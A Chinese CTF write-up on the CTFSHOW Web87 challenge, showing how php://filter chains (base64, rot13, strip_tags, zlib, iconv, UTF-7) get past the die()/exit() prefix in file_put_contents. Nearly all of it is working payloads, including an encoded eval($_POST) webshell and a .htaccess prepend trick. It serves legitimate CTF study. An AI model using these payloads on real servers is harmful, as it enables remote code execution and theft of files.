March 2, 2023

不要捉弄我新人同学: F

——————为什么问题会越来越多呢?

打CTFSHOW的文件包含题的时候,做到最后一题,本以为会就这么愉快的结束一天的行程,没想到又是一个落下已久的坑!

CTFSHOW——Web87

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

这里就出现了死亡代码<?php die();?>一旦执行,程序结束,所以我们有什么办法可以避免执行呢?

解法一

首先base64解码时只会识别字母和一些特殊字符如=,其他的不识别,其次base64解码是将4个字节转化为3个字节,如:
image.png
利用这一特性我们可以将题目做出来

base64编码和解码是反过来的,三个字节转换为四个字节

base64以=结尾的意义是为了补位,base64编码后的长度需要是4个字符的倍数,如果不是4的倍数需要在结尾加上=,这个=去掉与否不影响我们使用伪协议

其实当我们在浏览器传参时,浏览器是会先帮我们进行一次url解码的

?file=php://filter/convert.base64-decode/resource=s1mple.php
假如我们的file就是这个伪协议的话,注意这里是decode,我们会把文件里面的内容进行base64解码,因为死亡代码中只有phpdie会被识别出来,只有六个字节,这时候我们再content最前面添加2个字节就可以销毁死亡代码

由于浏览器会帮我们进行一次解码,所以这里我们要进行两次URL加密

这里的url编码是要所有字符都进行编码,这里推荐一个网址:http://web.chacuo.net/charseturlencode(选择里面的复杂模式)

1
2
3
4
5
6
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30
#这里就是相当于php://filter/convert.base64-decode/resource=cmd.php
#同时传入content
content=aaaaaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
#PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+等价于<?php eval($_POST[1]);?>

PS:这边不能单单的添加两个a,这时候会出现乱码,由于phpdie是6个字节,当我们添加2个字节aa时:
image.png
可以看到我们的尖括号没了,这时候代码不会被运行,这是一个bug吧,类似,当我们再凑四个字节也就是phpdieaaaaa时:
image.png我们的尖括号就回来了然后死亡代码销毁,程序得以RCE运行,密码是1,最后只需要一步步的去读取flag就可以了

解法二

使用rot13过滤器:
image.png
payload:?file=php://filter/write=string.rot13/resource=1.php
content=
传入后1.php的内容如下:

1
<?cuc qvr('大佬别秀了);<?php eval($_POST[1]);?>

前面的不会被识别,而我们的eval被识别,RCE就绪

FIlter://伪协议精讲

https://www.anquanke.com/post/id/202510#h2-8
直接上链接,讲的挺精辟的

正式探索file_put_contents和死亡代码

一共三种类型

file_put_contents($filename,”<?php exit();”.$content);

file_put_contents($content,”<?php exit();”.$content);

file_put_contents($filename,$content . “\nxxxxxx”);

这里我们的思路一般是想要将杂糅或者死亡代码分解掉;这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;

对于第一种情况

1.base64编码绕过

原理:利用base64编码,将死亡代码解码成乱码!这样php无法识别

1
2
#$filename='php://filter/convert.base64-decode/resource=1.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';#<?php phpinfo();?>

代码的意思就是,将content写入1.php,然后对写入的代码进行base64解码
由于我们多加了一个a,让原本是phpexit(7字节),变成了phpexita(8字节)进而变成了乱码
而我们的$content = ‘aPD9waHAgcGhwaW5mbygpOz8+’会被解码成,然后访问1.php就好被执行
image.png

2.rot13编码绕过

rot13和base64一样也可以分解死亡代码,但是原理不同,rot13不是构造乱码,仅仅只是编码而已

1
2
#$filename='php://filter/string.rot13/resource=1.php';
$content = '<?cuc cucvasb();?>';#<?php phpinfo();?>

image.png
只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;

段标签

是短标签
是长标签
在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:
同时,只有开启这个才可以使用 才是规范的方法。只是因为这种短标签使用的时间比较长,这种特性才被保存了下来。

那么short_open_tag到底是什么呢?

决定是否允许使用代码开始标志的缩写形式( )。如果要和 XML 结合使用 PHP,可以禁用此选项以便于嵌入使用 。否则还可以通过php来输出,例如: 。如果禁用了,必须使用 PHP 代码开始标志的完整形式( )。

注意:本指令也会影响到缩写形式 <?= ,它和 <? echo 等价。使用此缩写需要short_open_tag 的值为 On。

3.htaccess的预包含利用

利用.htaccess文件的一些特性,可以来直接读取flag文件

1
2
3
4
5
6
<?php
$filename='php://filter/string.strip_tags/resource=.htaccess';#这里编译器的属性是write=,不主动写就像是智能识别一样,自己帮你去选择write,这里不能选择read,会无效
$content='<?php die();?>php_value auto_prepend_file C:\wamp64\www\FLAG\flag.php';
file_put_contents($filename, $content);
?>
#这里的<?php die();是来模拟题目插入的死亡代码

这段代码的意思是,向.htaccess文件中写入<?php die();?>php_value auto_prepend_file D:\s1mple.php,由于string.strip_tags过滤器存在,string.strip_tags可以去除html和PHP的标签,会把<?php die();?>去除,他识别了这个标签
image.png
这里写入后死亡代码已经消失!

意思是每次打开一个php文件之前,都会先打开flag.php文件,利用这个我们可以读取flag文件

1
2
3
4
<?php 
echo 'here is flag';
?>

image.png
image.png
我们访问的是upload.php,却成功运行了flag.php

注意事项:但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器;

4.混合叠加

顾名思义,叠BUFF的写法
第一掌式:

1
2
3
$filename='php://filter/string.strip_tags|convert.base64-decode/resource=1.php'
$content='<?php exit();?>PD9waHAgcGhwaW5mbygpOz8+'
#这里的<?php exit();也是模拟题目的死亡代码

和预包含htaccess文件很相似,将content写入1.php文件,之后用string.strip_tags去除php标签,也就是死亡代码最后再进行base64解码,把我们要执行的代码解码
这边编译器默认也是write=,不填的话就类似智能识别,上面也说了
image.png
image.png
image.png
可以看到已经完美的写入了进去,并且得到了运行

第二掌法:
如果题目的环境是php7的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell

1
2
3
4
5
<?php
$filename='php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=a.php';
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

image.pngimage.png
image.png
由结果图可以得知,用压缩和解压的方法也是可以摧毁死亡代码
ATTENTION:
若我们使用POST传递content一定用burpsuite去传参,hackbar有他奶奶的bug!!!**

对于第二种情况

file_put_contents($content,"<?php exit();".$content);如此又该如何去处理呢?

1.常规base64方法

php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php或者php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
我们写的这些小0DFC537A.png是作为文件名而不是写入代码,由于后边跟了一个.$content所以还要把这一整段代码黏上去:

进行拼接之后就是<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php然后会对其进行一次整体的base64-decode。从而分解掉死亡代码,但是有个小问题,当时我也有点不解,一直无法生成content;虽然文件创建成功,但是就是无法生成content。翻了翻cyc1e师傅的文章,和其他文章 ,发现问题在于resource后面的‘=’;
都知道‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的。如下图所示;
image.png
那现在我们的思路就比较清晰了,要躲避这个=就可以

2.嵌套base64

payload: php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
由于用到了strip.tags自然要求php版本为5
我们测试看看载荷效果;
image.png
这边进行拼接后结果就是<?php exitphp://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php,然后由于有string.strip.tags,所以<?php exitphp://filter/string.strip.tags|convert.base64-decode/resource=?>变为空,
最终剩下的代码为:PD9waHAgcGhwaW5mbygpOz8%2B.php
image.png
最后得到可以得到我们要运行的代码

发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;

更完美的payloadphp://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

跟上面的思路一样,黏贴后:<?php exit();php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../s1mple.php

删掉之间的东西后剩余PD9waHAgcGhwaW5mbygpOz8+/../s1mple.php
image.png
还是可以得到我们要的代码,可以被执行

我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名;载荷效果如下:
image.png

3.一种另类base嵌套(某博客说的)

payload:php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
我的思路:
老样子黏贴起来后:<?php exit();php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

strip_tags去掉中的内容后:PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

最后进行base64编码得出最后的内容:5^
达到命令执行的目的

某博客的解释

他的意思是代码粘起来:<?php exit();php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php之后
strip_tags去除内容后为:<?php exit();PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

**反驳点一:
**将这段话进行base64解码后结果为:
^ƫOܚ[ʊNϏͦW
一堆乱码!
反驳点二:
按博主的意思应该是,<?|string.strip_tags|convert.base64-decode/resource=?>这段内容闭合了,结果留下了<?php exit();PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
实际的结果如何呢?:
我做了一个脚本测试

1
2
3
4
5
<?php
$filename='php://filter/string.strip_tags|convert.base64-decode/resource=1.php';
$content='?>PD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit()<?;".$content);
?>

这里正常连接起来后为:<?php exit()<?;?>PD9waHAgcGhwaW5mbygpOz8+
按照博主的意思,最后1.php里的内容为:
<?php exit()PD9waHAgcGhwaW5mbygpOz8+解码后:
^ƫOܚ[ʊNϏ

实际内容:
image.png
所以2,3实际是同一种类型的base64嵌套,并不是什么另类

4.rot13

尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php这里<?php phpinfo();?>的rot13编码即为<?cuc cucvasb();?>,所以这里可以进行写入;载荷效果如下:
image.png

5.convert.iconv.

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string 将字符串 str 从 in_charset 转换编码到 out_charset。 就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math的题目,有了base_convert之后就可以尽情的转换从而getshell;

那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;

usc-2

通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
image.png
payload:php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;其实也是变向的转换回来,从而利用那一次转换对死亡代码进行扰乱;载荷效果如下:image.png

usc-4

活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数;
image.png
通过测试我们可以明确的看到确实是需要是4的倍数才可以进行,否则会进行报错;

payload:php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php荷载效果如下:
image.png

utf-8与utf-7之间的转化

经过测试发现如下的现象:
image.png
image.png
这里发现生成的是+AD0-,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell;算上是一种组合拳;

payload:php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php 载荷效果如下:
image.png

小结

参考:https://xz.aliyun.com/t/8163#toc-3

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#入门#新人同学